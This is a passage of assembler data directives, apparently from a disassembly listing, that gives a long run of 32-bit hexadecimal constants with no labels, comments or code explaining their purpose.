30938B10h, 0E173AF18h, 0A36740h dd 5813BDC2h, 54F8461Eh, 527D5900h, 57EB3B91h, 0C60F0BA6h dd 0E4A09253h, 8908D2Fh, 0E4CEFB00h, 8F77DB78h, 9C50096h dd 0AB8813Dh, 6B00E921h, 837BD469h, 53C5F32h, 2A3D4193h dd 7403BF81h, 0E85272C5h, 7538580h, 3502F686h, 0E6EAB0DEh dd 0C9038D84h, 0E961ABC5h, 0F5E903FEh, 0DD7827A6h, 0D78314D0h dd 0BB124000h, 0AF0B2D24h, 0CC8BA1B1h, 6EC1F881h, 0F049C57Bh dd 6C949AF2h, 0E405961Eh, 0A20287D1h, 410AEC4Fh, 6085EF33h dd 409F6E9Bh, 0C07EEDD8h, 0DB2412CAh, 1E074A72h, 0CB405D47h dd 33830297h, 0BA99FC49h, 9A81D3B8h, 0BCA4AEE4h, 0D86D640Ch dd 746A50B4h, 0A8A33E2Fh, 0A0D5B918h, 0E80C1544h, 30714EC0h dd 8E8030C3h, 0C2AC81A9h, 8C9B24A1h, 71C8E908h, 0C1374E4Dh dd 872E0DCCh, 81A8B6B8h, 0C18C0E07h, 54C318B4h, 0D4E0518Bh dd 0D1CBF40Ch, 50171086h, 164485Fh, 0F9B010FDh, 8E5E6E4Bh dd 802D7141h, 0FCCD5ADFh, 0CF41E23h, 688FD5B2h, 25024A0Ch dd 0CA99531h, 0C35885BCh, 680483CAh, 1A5FCED8h, 0C04C84Fh dd 7A6440D7h, 0AAC806F5h, 1FCC1010h, 4870F5F8h, 24D1508Ch dd 0BE4C0064h, 9F5CE50Dh, 37705E4h, 0B096D40Ch, 6067400Eh dd 4D8DA12Ch, 0BC191AE3h, 6D41E6D6h, 8E675043h, 0E4B60029h dd 0A1A75CEFh, 20C58FA8h, 240A0D4Ah, 0B600C8C1h, 6E9A61B5h dd 5419C784h, 30A057C8h, 42651FEh, 76C7D51Ch, 67115C44h dd 90BD04C8h, 0DDB0BD6h, 0B78CB1BBh, 80978319h, 141F5BFAh dd 548D0F77h, 8A464322h, 0D6F3B19Ah, 99038122h, 0C02C4EA8h dd 11E7E9C6h, 6569C580h, 6D8B900Fh, 0FF0AE020h, 8CE3ECh dd 0E4D16462h, 0EF4C69B6h, 0E040806Eh, 9F3BF2D5h, 9C1C33F5h dd 43D7BC48h, 6100C88Ch, 0ADB25458h, 0E0A15D7h, 0A045D6ABh dd 68631A22h, 0E09B0040h, 8D8EDE08h, 1BEB8098h, 1FAF1325h dd 0E17E86F2h, 8EE7BA00h, 0F4F2458h, 0C010205h, 9B598F47h dd 24F1788Eh, 8C0C581Eh, 4681182h, 482CF8E4h, 8C3C8C6Bh dd 0A00E8A4h, 2254006h, 7327F18h, 9C6BEAC2h, 0FAD84253h dd 0D101E4A0h, 8A7F57DDh, 120B5B3Bh, 0D0208F70h, 0A9B266C3h dd 0F44867ACh, 0D61B008Ch, 0E41A5B1Fh, 710201AFh, 0F98BE242h dd 985848EDh, 0E96215B1h, 2500C4EBh, 0C235917Ch, 68001202h dd 51F8E86h, 2620405Dh, 1874ABBAh, 438A98B8h, 24A9D174h dd 4C1988FDh, 194A9CD4h, 0E4C19160h, 96501C01h, 0D4A8D450h dd 0AC007310h, 0A055EE81h, 13510729h, 0AB3BF795h, 6356BF02h dd 67B048B0h, 9141C090h, 0DF9737AEh, 41592200h, 1220453Ah dd 0CE630013h, 0D974FD35h, 0CCA68E11h, 0EAE9F8A8h, 0B09CA1C7h dd 0BF3C13A0h, 2AE60159h, 50AC3A4Fh, 52A07194h, 2EC628h dd 747995F3h, 20713E64h, 0FD465C80h, 18948586h, 5028066Ah dd 58BB8D42h, 0AA28004Ch, 9343956Ch, 0D21E6F31h, 0E5FEE6F5h dd 0F0018020h, 631F6659h, 88BCCC50h, 0AC998Dh, 0A3424041h dd 32A0172h, 0C706802Ah, 0B585EB7Ch, 0B3830C71h, 81F1198Ah dd 41C10431h, 7434A2BCh, 14BB484Eh, 0AE809F88h, 3F27D023h dd 1A0005Dh, 0E80F6D5Ah, 0A2002F8Bh, 22BC7F2Eh, 0FA154B8h dd 0E08F3EBDh, 29EE1098h, 24C308C0h, 776F440h, 0FE7E0C6Ah dd 0C9233015h, 963B8839h, 22841DC3h, 555FC000h, 1D1F963h dd 6F662DE9h, 8F23C7CDh, 260A6948h, 78705180h, 5CB3B8B4h dd 0C3058499h, 80C43BFFh, 4C76D26h, 0CCB478CEh, 226055h dd 0E06C244h, 0E171FE17h dd 5C2E1807h, 0E0D30193h, 15B02246h, 699C48h, 659F7F2Fh dd 3A5639Ah, 70E066EDh, 9107C3A1h, 1634A2FDh, 0CE7F0CC8h dd 63EA7419h, 0C818CA79h, 6F3014E8h, 94A054CBh, 557B37C4h dd 9289C368h, 56B55100h, 27D50269h, 12DD4CE4h, 0E5561A27h dd 90E8F71Dh, 50E37218h, 17EB431h, 762A9B49h, 8AA71794h dd 0A452F918h, 5D70C440h, 0CC40A154h, 2CEEA18Ch, 3200F3E9h dd 527AC4C7h, 0BE374ADh, 7D559BA6h, 600D12FEh, 0EC4281Ch dd 81EF14AFh, 0A33ABC01h, 3C55FF9Ch, 0F06079B3h, 380A7875h dd 74C413C9h, 8E885910h, 0E4D594h, 13BB35E7h, 0CD5F65h dd 89A072FEh, 4531B0EEh, 50DE2879h, 3983F6CCh, 1046317Dh dd 5765B4B9h, 940D70ECh, 0AE281677h, 7D14B0F0h, 22140F48h dd 29393970h, 87B9F69Ch, 35DC3BEBh, 24C060C6h, 4A005FBEh dd 0BF43EC45h, 38349032h, 0FF11F3A4h, 7CE11142h, 2D3FF843h dd 923A0501h, 97B542h, 150AB58h, 73CEE4B2h, 25303516h dd 7DA46014h, 0E1996E60h, 58E568h, 5331DF82h, 0DE336D95h dd 0BC0253h, 78FD5DA8h, 50B63h, 46229B24h, 0FF4FB129h dd 1FB0A654h, 7526188h, 16CA4593h, 0EE5571F3h, 2C8850F0h dd 0A618EC17h, 89613C85h, 4039DF76h, 65418745h, 283F2E6Ah dd 15C10272h, 49B2B47Dh, 9420CBA8h, 0D4C749FAh, 7D279507h dd 1B61BC49h, 52F85C54h, 3D1538h, 0CD63276Eh, 1D1F7303h dd 406A7770h, 75B689C2h, 820A9AD4h, 8872F2C4h, 3F9D5880h dd 0F836F04Bh, 1859DF71h, 0CBBB101h, 0B4350600h, 528646B1h dd 0C266034Eh, 0C3F5AE6Fh, 1863303Ch, 19D92080h, 0F3921CEDh dd 18A9D55h, 0EB906679h, 7DC850CFh, 69D04450h, 84C701B8h dd 0C47F0720h, 6348F050h, 0FD16006Eh, 4E65A9C6h, 0CF180309h dd 0DF99C2BEh, 1F789B46h, 9A09C141h, 0DF1C99AFh, 97CCEBA8h dd 0CC12C12h, 80833C48h, 9903F3EAh, 5300D41Dh, 431C6470h dd 3B7E2D29h, 0D509801Bh, 0A80245FFh, 841157A9h, 5FEBD410h dd 6BD07201h, 326453Fh, 475F9F8h, 0F61B5E64h, 4FA093C9h dd 0B0E44CA4h, 0A41A4863h, 73EE2F80h, 0D5E34F79h, 3729800Eh dd 0BDDCCD7Ch, 0A157017h, 0E6D61145h, 94C486B4h, 0F54D4161h dd 0A06F0C00h, 0C96369C5h, 3C96FC10h, 20534500h, 0E0A19E51h dd 0ED2800F6h, 0C2F86A7Fh, 68121194h, 84678F3h, 2441D380h dd 0F74C924h, 0DDA0A06Ah, 0D4685B18h, 8F8A0A00h, 2BC93E87h dd 4539C9A7h, 0A502C08h, 0A4548290h, 45C56020h, 2B185D64h dd 9EB02573h, 0E4FA89C6h, 0AD092F04h, 0A453FFBCh, 5C491848h dd 11CFAC91h, 0EC228EC4h, 4C91F86Eh, 0E772C470h, 42120C9h dd 3C108ADAh, 0D8458302h, 549278h, 11A0FA28h, 0B7660CB1h dd 7B717A1Ch, 44CB08F1h, 2D60EE1Bh, 7DB0AD59h, 0AA6107A4h dd 6082ED0Bh, 0F6B59DF0h, 0DD5FF20Ah, 6F858C80h, 2008D59Fh dd 0FB27800Fh, 0C64C2446h, 9502BE7Ch, 3E0A586Eh, 0A830C064h dd 340A167h, 0C0589C4Dh, 5DE00F0h, 0B9FD433h, 5013410Ah dd 0D0480660h, 4511806Ch, 773F5112h, 33082C98h, 32C28FF6h dd 0ECA20810h, 0B890F96Fh, 0A9C2F1EEh, 406C01C7h, 92BFFFADh dd 4A774490h, 0EA1CC802h, 7513151Eh, 0A31AED40h, 0AFCC9C00h dd 7FAC7666h, 0CAA23474h, 8370C059h, 64B24C5Dh, 22F0BF59h dd 0BBFC3FC5h, 0C200043Eh, 77856EE1h, 58989171h, 50805744h dd 524089h, 7E3A45F8h, 44E3AEEFh, 3E17FCE4h, 7206F36Ch dd 44D1C3FDh, 2404CDFBh, 7FFC4FF2h, 426BBDC2h, 58AC0664h dd 13716B0h, 0A4AC70A7h, 0D71C7FC4h, 79476972h, 0BB702CE0h dd 4899AD4Ah, 6092DF0h, 2C3021E1h, 1A078C9Fh, 504261Fh dd 0C4B55860h, 894C9176h, 800357CDh, 45FD50B9h, 8BE972DCh dd 0E5A0084h, 1A7EAD65h, 8961C6BBh, 39002951h, 49F5B1AEh dd 24900866h, 91F0C6EEh, 0D40207EDh, 20EF2811h, 0A7199469h dd 0BA3E0DBh, 467CFFB9h, 918FD093h, 0C8B2975Dh, 41D63C78h dd 0C9D8DC10h, 0EDC898B4h, 52CC00F6h, 0E9F27E84h, 5F0069D1h dd 564D4A78h, 7143746h, 0FFB7D010h, 913980B3h, 2124F3E0h dd 0FCEE5401h, 0F1A0C902h, 5E709848h, 0F24C0128h, 6F978AB5h dd 0F7582493h, 50BBC644h, 88DA98FDh, 0EFB0BD1Bh, 0C105D101h dd 0E63C80BCh, 3B694A80h, 85F51507h, 1268464Dh, 48521452h dd 5F34D030h, 95E30090h, 0B7B9C7EFh, 58543A8Dh, 2402BF80h dd 47861D16h, 50586401h, 89BE48F6h, 0C3C912CEh, 5E87F00Ch dd 79F865B6h, 0C10002Dh, 0DBB6A6Fh, 0BC47AA00h, 69388ABFh dd 899D232h, 89887280h, 44E78125h, 8047D91Eh, 9569B551h dd 52457D31h, 5044DC24h, 63CB44A4h, 0D2B72901h, 0A7262AC4h dd 0A8688C33h, 4A7D41A8h, 2149A5F9h, 0BC36A220h, 4811F062h dd 58D44DF9h, 2B76C088h, 411EEB9Fh, 208C4C0Bh, 0D9796601h dd 7194AF49h, 948FE190h, 60A37EC4h, 0C05101CAh, 14B494h dd 7C206AA3h, 6A17850h, 8814E026h, 6080A8C1h, 0B4881344h dd 3139C074h, 0E56D0A9Ah, 455F2000h, 0D6B70E89h, 9CE04921h dd 0F17BAB00h, 2D7DC86Dh, 0D234BB12h, 0A3638040h, 0EACFFED3h dd 8F099ABh, 1A44D2D5h, 4A588D42h, 33714C60h, 14C0C59h dd 0BA56B643h, 0D4325350h, 94405A3Ah, 0A107C0FAh, 0D887967Dh dd 55DCA220h, 0FB0E0742h, 698C12DFh, 0DEBF20A1h, 22A03346h dd 0A0B507C7h, 92669D52h, 0E89246DAh, 556B70C0h, 0E2132089h dd 11B79CD8h, 4438334Dh, 7200F364h, 70D48289h, 0E01C8h dd 0E841C56Ah, 9B40FC71h, 78F5C43Ah, 420086F8h, 0FDB98D15h dd 3BC5257Eh, 73B036ABh, 3E48D520h, 7C8D60E9h, 1A17E600h dd 71C2183Ch, 0A8440076h, 8DAAF7DFh, 0D0BD9916h, 2CD1865h dd 0B6AB60F4h, 0BC3FF636h, 4ED50D71h, 0E050E7C8h, 90D94159h dd 8866160h, 71327AC0h, 29BC2930h, 0C4D6Fh, 0A29CF981h dd 272B164Fh, 0BD8952F2h, 0CAA84017h, 7F439F8h, 44704106h dd 30507959h, 0BF592A49h, 3F0020E2h, 0A858CE99h, 30765A82h dd 4F989550h, 50A1BBC4h, 8A2FEA35h, 48035CC2h, 1B46D9C0h dd 19683F51h, 3B56C008h, 0D09148h, 760F5BD3h, 309F6B69h dd 6A3954C2h, 8088F5DDh, 0A051C642h, 0B2444146h, 0E6CEFAF3h dd 0BB3F02D1h, 4B6E1F77h, 1282A8A0h, 4605B02Fh, 6CC04752h dd 77A04C00h, 0F98CCF93h, 0EA301181h, 42D5C24Eh, 0C0BA5770h dd 0E9C6D002h, 60ED3D20h, 0AC4F8059h, 9B19DF63h, 2B901E1h dd 60C05285h, 0C91E601Ah, 6ED52500h, 2B83B3D8h, 4BBD33E1h dd 0D4F24F50h, 0FB5A3C82h, 3C3F2E20h, 5384A4C1h, 3B21ACCBh dd 0B0BCC130h, 0FC1014Ah, 77323792h, 483898F2h, 88E7C4B8h dd 8003FB33h, 60E4767Fh, 4980183Ch, 9AD04948h, 78077E7Ah dd 59D508Ch, 3F55C650h, 8538A037h, 62F8A65Ah, 72C06982h dd 1A599887h, 0B91D1960h, 0A98909CEh, 42E1545h, 7F568099h dd 12616A0h, 93523642h, 4CF23016h, 0D345ABB0h, 0A120D0BEh dd 80CC2E54h, 0A4B46F01h, 5BBDF7B8h, 0C568C48h, 0FD4A46A1h dd 3563DD39h, 0E0880589h, 1A7D94h, 93BD7039h, 0AD6F78C9h dd 1D6B7705h, 61C0EE9Ch, 29011167h, 0C4AEA1h, 569390CDh dd 733ECF4Bh, 0A7D21313h, 3B82D11h, 0DA6B7C67h, 8AE6C8E7h dd 4C4D3035h, 0E2AFA0F1h, 577B49C0h, 77835DCEh, 853B007Fh dd 0EA7A72B3h, 0AC73639Dh, 8E05B4ACh, 20A658FBh, 6D46EC20h dd 42CA01Bh, 912CB8B0h dd 0C09B0C0Ch, 6005A69h, 35573BF2h, 5461EE1Dh, 484FA051h dd 5EC4E8C1h, 13C822F2h, 0D4C31111h, 0F0565915h, 489C40D2h dd 0B9290542h, 525E29C0h, 636ECDEh, 0BAAB9A95h, 0F2017AE5h dd 481A157Dh, 49804B7Ah, 0AB3323A1h, 0CC00DF2Ah, 26B39B71h dd 19F459BFh, 28FA069Eh, 46E45746h, 3368795Ch, 9B8CF008h dd 0A9B1A8h, 3BB0E94Ch, 0F8CB390Ah, 0EF684100h, 0C66EAC15h dd 4C17492Bh, 3432D412h, 7AF021A8h, 0D29980E9h, 4A92535Ah dd 0B49554DBh, 0FE7D3078h, 0A15D6721h, 2D924B00h, 0F5063507h dd 0A46C758Dh, 0E6CE22B0h, 24F8AC4Dh, 0CF64E832h, 0A8323E32h dd 0B811D08Ch, 0A1C04C4Ch, 0E4951BAAh, 9DE9C900h, 0AF6801D4h dd 59626299h, 58234175h, 56793ABFh, 54F6D5C4h, 12936D01h dd 5B4415C1h, 4F4E1981h, 814C7EAAh, 53E05589h, 0F3D035A6h dd 0D5CA0074h, 8129C694h, 6B1C63D8h, 49999FF2h, 21098379h dd 0E0D04D2Ch, 6718BF52h, 1E212CE4h, 0CA7A3AB3h, 9E7EDC00h dd 8CE13097h, 3CAD5616h, 48CB7821h, 0D74F3F10h, 526060A1h dd 0A0204DD4h, 355F9Ah, 0C92616DDh, 0EBA836ACh, 17609603h dd 9D9FFF5Bh, 78488853h, 0C500BC31h, 0BBA3A63Bh, 9707C37Dh dd 0DE5AB71Bh, 55BEFAF3h, 90423CD0h, 891926FBh, 0DC16301h dd 0F1C0B492h, 68010032h, 67A1089Fh, 82298F5Ch, 80528E71h dd 0B111DF59h, 0D467CAEh, 0EF935649h, 43FF438h, 0D2EC61D9h dd 0F2397832h, 0CA008452h, 0D9451075h, 0FD066B0Ch, 1BA500Ah dd 50435040h, 517A804Ah, 1F3511C0h, 0D20E3Ch, 9EB716BFh dd 4927870Dh, 382F1C24h, 0B420166Fh, 35C8923Bh, 315168DEh dd 60FD3DECh, 11CF328h, 0A980DD94h, 74584212h, 0C764D26h dd 31E32918h, 600F855h, 47215A53h, 0BAEB54h, 91AB2359h dd 0E3CB73E7h, 0CFBF80A0h, 0FE1061E9h, 81004464h, 2F4DAE86h dd 1F1EED9Eh, 0EC5051B7h, 0D4560448h, 82FB01F5h, 18064811h dd 4C25D245h, 234B8C02h, 0E1002D49h, 4BDDE4Ah, 4C9305Eh dd 0FDC42ED0h, 2204A39Ah, 0FAFE02DCh, 0C9336B46h, 572B7444h dd 442438E7h, 11DF46h, 0D1100C2Ah, 0F28559E7h, 0AC41093Ah dd 9E1C377Fh, 9B28F199h, 42006C22h, 0DF4F0466h, 0F35130DEh dd 2866ECh, 0D8AE689Ch, 45802Fh, 28B3DCC6h, 7EDB2B73h dd 0ACAFA33Eh, 4CBE7CCFh, 0C00C801Ch, 78E722h, 10DA0685h dd 0FFA9F419h, 122E3C7Dh, 9704CCA3h, 58884D8Ah, 5A439573h dd 0A7D67900h, 797419Dh, 8EE0344h, 1DDF67EBh, 0D0C861E9h dd 47249AD1h, 596154D5h, 4BE84F98h, 0B07B38D4h, 0E45ADA09h dd 3D0BBC10h, 9B0D1E00h, 63376EBh, 80520097h, 13F4F2FEh dd 0C1D6B728h, 6BCF5500h, 0BF0589h, 2F108FD8h, 1552AFDFh dd 48E0EF5Dh, 40AA3AACh, 0F838547Ah, 0C0B4EA8Ch, 5D153322h dd 1800BA5Ch, 0B2D76845h, 7A2FFADh, 3F560136h, 55080CE1h dd 88E879C2h, 0EC20E2E0h, 722600B8h, 0C618363Ah, 73016B4Eh dd 91AC665Ah, 79804677h, 1AE4F6BDh, 0B800EB53h, 6F7A690Eh dd 0B0AB031h, 94028667h, 0D4AD1022h, 0FC355921h, 4D243036h dd 0DB9128h, 1F1E991Dh, 1D1AA991h, 4C70EED3h, 0C0385576h dd 377DF49Ah, 0F87DC98Bh, 0BA22182Dh, 9B65F007h, 0D300CD64h dd 9A8E7h, 1E921915h, 60E957D8h, 4041A431h, 0BD0831D9h dd 34A588h, 4636110Eh, 5F102E80h, 0D0BFD032h, 0A8145156h dd 478320CCh, 5235A000h, 0C11FDC31h, 0A150B1D9h, 0CC3C12E0h dd 4386C584h, 4AD04157h, 0AC7840B8h, 42778604h, 0AC98FC54h dd 44970F22h, 64C4C2E7h, 59A891F4h, 1890325Ah, 91912B49h dd 0E3C3BD1Fh, 0D6A9980h, 50A18865h, 8161408Ah, 804F7D48h dd 0BEE2F49h, 325ED8h, 30B8AB58h, 3C3B2842h, 0AB48E48h dd 187A4788h, 4BFC9000h, 1103277h, 0B298F946h, 62CE7061h dd 506AC880h, 0B8B371C0h, 182C38ACh, 2242758h, 6185B975h dd 605F7D9Eh, 5D9556D8h, 3457AC3Bh, 0B2B10D00h, 302682A9h dd 98849F02h, 7497C1h, 282C5C48h, 3A69B160h, 5CA8F4Ch dd 6DA3173Ch, 0A0D831BDh, 10BFC5AEh, 2CE1F65h, 0DB2197D2h dd 84A33892h, 3100037Ah, 5EF0415Ch, 32CEDDB4h, 6CE92281h dd 314DB866h, 0AC22D6F0h, 0C494593Dh, 7A667037h, 4C810034h dd 312380C4h, 1A2457F4h, 98E0F448h, 76202Ch, 0F8ED63F9h dd 0F4B17B4Eh, 52440FFh, 0D613ECC9h, 3C7060D2h, 98A626h dd 0AFE56561h, 2A33AC90h, 8151D239h, 0C534775h, 0F0640742h dd 3905607Dh, 24349F7Ch, 80E4C600h, 0FF94410Dh, 60CE50C1h dd 1B68031Ah, 0DE1654EDh, 0D4C07912h, 57BE0431h, 49188C72h dd 0A26C193Fh, 0E4310800h, 202DD351h, 5B780BD9h, 99B8FDh dd 0ACB0204Ah, 0C3703DF1h, 0F09E313Dh, 15AD1F0h, 91BD1695h dd 0F8EB6026h, 2E12DEF1h, 7C82215Ch, 0A4534Ah, 1F483D37h dd 9C207899h, 17661CB6h, 0EF7C2FFh, 5071C94Fh, 49926829h dd 9D251890h, 1ED7F438h, 40BEEB77h, 0F09F7299h, 78930BD4h dd 6004D93h, 0D3B6D274h, 2865018Eh, 41B9EDCEh, 40F18329h dd 0A0865A4Fh, 1979D74h, 8064FADFh, 0F88AD514h, 0F0B14B66h dd 7A902C29h, 0AEE54FC8h, 17718C8h, 240BC06Bh, 0F0BFE4CFh dd 474DCD26h, 9A0CC0C4h, 5176C8h, 7727A4C5h, 25E58C67h dd 91A22E02h, 0EC0D965Bh, 605D4A64h, 0C95A4640h, 4851CE64h dd 2E6AB8C0h, 90B13FB0h, 92C0DCCDh, 390E8DB3h, 24EEBA01h dd 0A2CE3E1Eh, 0E2FC9805h, 0E9ED2116h, 0B6010C99h, 1DFCC74Bh dd 5DC2022Ch, 0D5BEA1F1h, 0A300ACEEh, 2587CB2h, 9FC26A44h dd 274EA778h, 1A9AD440h, 1F31488h, 0DBD8FFFh, 63F5F230h dd 9C6A2560h, 25534690h, 296C8459h, 0D560E4h, 9B4EC0E3h dd 196DEE61h, 549C7E54h, 0A4565044h, 7BFB3D24h, 0AB81A333h dd 0FCCF5122h, 399A099Eh, 30240962h, 0E02B4FC2h, 24AABC4Ah dd 0D07E0021h, 0D5B1366Eh, 0A312707Bh, 84431595h, 0D62956h dd 39B41251h, 2D8BDA44h, 0E4757A04h, 5CA40ABCh, 0BF609C54h dd 1D87245Ch, 0CE2E905Bh, 8E1CBD4Dh, 0B28047C1h, 186EBC07h dd 4901F7D4h, 4B8C5030h, 42038F61h, 0F5F7CB95h, 430AA834h dd 84E20288h, 932A10C5h, 98C4F86Ah, 3031AF00h, 33F5B5E3h dd 90ECF0h, 82B1A442h, 654C17BCh, 0E4B17FE4h, 0A5D19584h dd 0C000C0B2h, 4A2B4EAEh, 7400F186h, 3D4B7218h, 706CA4C4h dd 0A838F444h, 0A8DE9BB4h, 789C99A4h, 191D09EBh, 0EC80237Fh dd 0BD7667A0h, 6CC6CE1Ch, 44CF18CBh, 7B630264h, 0C15157BCh dd 10821866h, 112D58C1h, 2A10D628h, 8C02E252h, 1B41CA53h dd 84408E91h, 0DC809A8Dh, 151EC1h, 0E1D74553h, 46A6C544h dd 41BCF1C3h, 64E900FDh, 7F8698ABh, 0DB2CB20Fh, 84491CF1h dd 3157A734h, 0E828E984h, 0FE02035Fh, 0FD9CBDF1h, 22707205h dd 1500416Ch, 6D7D8C49h, 91E4668Ah, 247401C8h, 8993373Ah dd 16323F91h, 90165814h, 0FBE2D400h, 0C1DBE1C3h, 0E34F211Fh dd 73D4601Fh, 80A84998h, 17042811h, 9A96005Eh, 0ADC66BD7h dd 2C24B783h, 56889C45h, 0C34F89E9h, 4A064ECh, 0C016325Ch dd 90C8A39Ch, 0FCAA0567h, 0B6478E82h, 636B00D4h, 6FAF86CFh dd 4FB80BDBh, 4C4837Ch, 0D52C8780h, 0DC191B76h, 0E341682Eh dd 0BC35E110h, 98F2BD00h, 62388667h, 55240166h, 965657ECh dd 922438C2h, 9900B435h, 15CACD4h, 1D72AEh, 73295B82h dd 48A4BFF9h, 9997BE25h dd 7E10C2FCh, 0AB0069FEh, 657491A1h, 48B81341h, 984D5424h dd 52D41D2Eh, 2A20608Fh, 5B4E093Fh, 0C089E099h, 0D5BC2643h dd 21690061h, 0AF1D0AA5h, 0FB044928h, 35756B80h, 0A63C4B4h dd 0E594CE99h, 0D45D0330h, 4DE0494Bh, 0F502B7A0h, 0EF0AF31Fh dd 59844980h, 0E62479C6h, 4A14181Ch, 0A0E8AC5Ah, 28761B31h dd 2224679Dh, 5601545Bh, 136066A6h, 0D032AFF8h, 0BF092600h dd 1667BD50h, 353C05F0h, 18F2198Dh, 407248C1h, 0D377EF00h dd 268D2E03h, 1E8B5A07h, 82FE94F3h, 44A74952h, 2AFF09B8h dd 0B0E8B71Ah, 317C5126h, 60F24613h, 20FD10C2h, 7B0F674Fh dd 0DC27A0B9h, 8F42008Eh, 91C5EF58h, 0F3F98C13h, 8A922060h dd 993360E3h, 349D1EDh, 56306507h, 6D70C48Fh, 972093h dd 0BC92A6ACh, 7B8880F2h, 174990F8h, 0AF5912F8h, 95336C90h dd 0C5E4015Fh, 0F2BE0B99h, 8E102CF1h, 0CCD9D359h, 501918A5h dd 4E96D0BCh, 0A4107E02h, 5AE4B7ABh, 1DFA0048h, 73153EB4h dd 932D7F8Dh, 0AC10988Ah, 334889CAh, 0CBF200C8h, 0CFE4DF7Ch dd 72D80037h, 453B219Bh, 0F70165FAh, 0C0608358h, 0D4215956h dd 6F00A436h, 0D599EC24h, 0E417DBA4h, 34298066h, 0A7E97E4h dd 46A5719Fh, 3511F4h, 94FDCD84h, 744FA9h, 0E1ABBDE3h dd 0C3AC52B7h, 3CB0BE00h, 4AC28FF4h, 0AA250007h, 940CECE3h dd 2B190FA2h, 0A81947BFh, 35411F8h, 4A4BAC84h, 0E1887EDCh dd 0FC074CE4h, 5FE0592Bh, 5EE6BAE0h, 7410CAAh, 2508C670h dd 26C36807h, 0F4B42B06h, 710AE980h, 33E400C0h, 0AF28909Fh dd 0AC017D4Eh, 0C3A4E204h, 616014E0h, 0BD36060Fh, 8865CBA9h dd 3CD64100h, 0EBE5C947h, 611A033Eh, 0B6FBC269h, 0C1042006h dd 4581A8AFh, 8CC2E09Bh, 19C85A50h, 9E4AAF0Eh, 42080330h dd 0F17680A3h, 313D0188h, 4FE934CDh, 41F98748h, 491CF37Eh dd 16C931A9h, 0BA74C419h, 847580E9h, 0D1ECE5A8h, 15220077h dd 82A570D0h, 3406CCBBh, 73C4DC50h, 19313931h, 7B624800h dd 0CA2ADA77h, 2E0F5FE4h, 0AEBE4D40h, 8E8CFF23h, 9E4A799Fh dd 8839140Ch, 88475D00h, 1B9B61E5h, 0BF303BE6h, 49DBB11Ch dd 48393931h, 0A6922E00h, 9918E608h, 77331F1Eh, 588C2A01h dd 0BFD10442h, 0B0EC7440h, 39AC0135h, 41FB6689h, 0A1E8407Ch dd 3B7480CBh, 108DE004h, 0C8218CCh, 0C132014h, 8F001545h dd 0A2F12C99h, 0FADA6904h, 7C3E0A87h, 809878F2h, 0CA3F8BB1h dd 66F86A34h, 0F0C5C900h, 0D0112D49h, 3BF828C7h, 345B0ECh dd 76611C51h, 69074D46h, 0F256FDA1h, 4A115D40h, 88AB1C94h dd 21775842h, 4B0204ECh, 0A9608431h, 1D184492h, 454746FDh dd 8AD76C7h, 13802ADCh, 0B0233D1Fh, 82E1FCAh, 1060248Ah dd 80AE8876h, 0FBBCB98Dh, 0F60613C1h, 6229DA68h, 2B9E0061h dd 0D7F30423h, 2F0CA13Ah, 992979D5h, 8D4F0141h, 68DD5698h dd 0C485E4CDh, 0ACB6C0Eh, 2D15E1E9h, 6987970Bh, 20EADE56h dd 8C187D5Ch, 877F273Ah, 3B9D6D62h, 7E81C590h, 0D8C14991h dd 6C93A90Ch, 28EECB69h, 0CA43949h, 0C92387BAh, 0CC1F3A69h dd 2C6CE624h, 93B40E0Ah, 0B02488C9h, 0EC30805Dh, 0DFEC3762h dd 0A147B300h, 46C0E334h, 2B763C07h, 0DF30BAC4h, 0F25D5921h dd 83EF3193h, 0D06BE240h, 88164CA1h, 320C8A7Dh, 1EAAD929h dd 0BA9758F8h, 410DC498h, 7C00540Ah, 0A1967E10h, 77603ED5h dd 0D4FC7746h, 0B5C06C39h, 607213B7h, 0E40BD807h, 0BED0B346h dd 9E7F494h, 8D1A6550h, 4C38528Dh, 60000E50h, 0AD022DD5h dd 647ACCF8h, 24D2888h, 6129BBh, 81B8B341h, 0A1125598h dd 0D8304A60h, 0EBA052h, 0FFEA9A0Ch, 0E42E1448h, 77973200h dd 0DF490F79h, 0F4CE04BBh, 8215E82Fh, 88201190h, 653B1Ah dd 9EBE9239h, 0A42B89D5h, 0E3C8CE01h, 5AD24E66h, 0A85BD040h dd 50484852h, 0F3EB3C1h, 0D564E0B7h, 4A81F900h, 0EFED9A44h dd 78C430DFh, 8E716329h, 0F0F38400h, 9D85EE77h, 0AF6C00D9h dd 8DE2ACF5h, 0E898812Fh, 6801F8A6h, 0EAA3F0D1h, 0B03063C8h dd 78418A7Bh, 0E98F08ACh, 0E3706711h, 0D3D41900h, 540CF218h dd 0BAB900EAh, 624BDC6Ah, 8F14A6EBh, 6084B4DFh, 0BF23C738h dd 3F49C10Eh, 0F8AFE46Eh, 2C011728h, 0FCC01E21h, 69811529h dd 8D901DDCh, 0D09DCACh, 0EBBF5B00h, 4CB046FAh, 0D6D30134h dd 75CCD36h, 754C2098h, 5B10B9D3h, 6542765Ch, 0FA478802h dd 98A30FC5h, 64D8C1D1h, 559802F1h, 33458538h, 0EAA1BA60h dd 145C4676h, 0A09CE404h, 0FC8049C8h, 7EF72A20h, 5C70438h dd 8027EBF3h, 0A778E390h, 0CEF17080h, 0ADA07549h, 0EA29CA0Eh dd 4B97E712h, 4283E408h, 0C423798Fh, 31A90029h, 7EEED753h dd 0C382CECh, 777F802Dh, 0FFCDA911h, 1031C827h, 2380CC80h dd 0E47ECB3Eh, 0BF6126A6h, 0E7E840A0h, 0A200982Fh, 0FFB9AFC4h dd 0CBC009EFh, 0B70374A1h, 4F884CF3h, 0A809FDB0h, 8FF9E8FBh dd 41D1FB23h, 5402BCA8h, 4AB92076h, 0FF00543Dh, 0A1CEC7C1h dd 5AB255Fh, 0F4934C85h, 8664880Bh, 3F9E1C00h, 54D89A80h dd 0A11660BFh, 44B4CF5h, 0AC89EE00h, 384630FFh, 0E7151h dd 0B3505E8Fh, 4CDFAEECh, 0C0407032h, 775C4167h, 802BC411h dd 0FED2AE91h, 17C291h, 4D644F45h, 0A4A87B5Bh, 0D6E489D0h dd 21047D00h, 0FA67DC48h, 0CEA30C3Ah, 0BA214697h, 595FEA31h dd 41809D70h, 0E64E264Ah, 0A209FB2Fh, 891DD976h, 16AE8035h dd 29F6689Ch, 11B41CC2h, 9B241EA8h, 0A29FD7DDh, 0DD93641Fh dd 42A9A002h, 483C41A6h, 400CC13h, 88B42060h, 505FF645h dd 0AE6094h, 0E9E9714h, 8843E027h, 0E9C08CFh, 0C49068Ah dd 8C7E0711h, 16F028D0h, 0C6F820E1h, 2EA01E4Bh, 0B8080C46h dd 50499F89h, 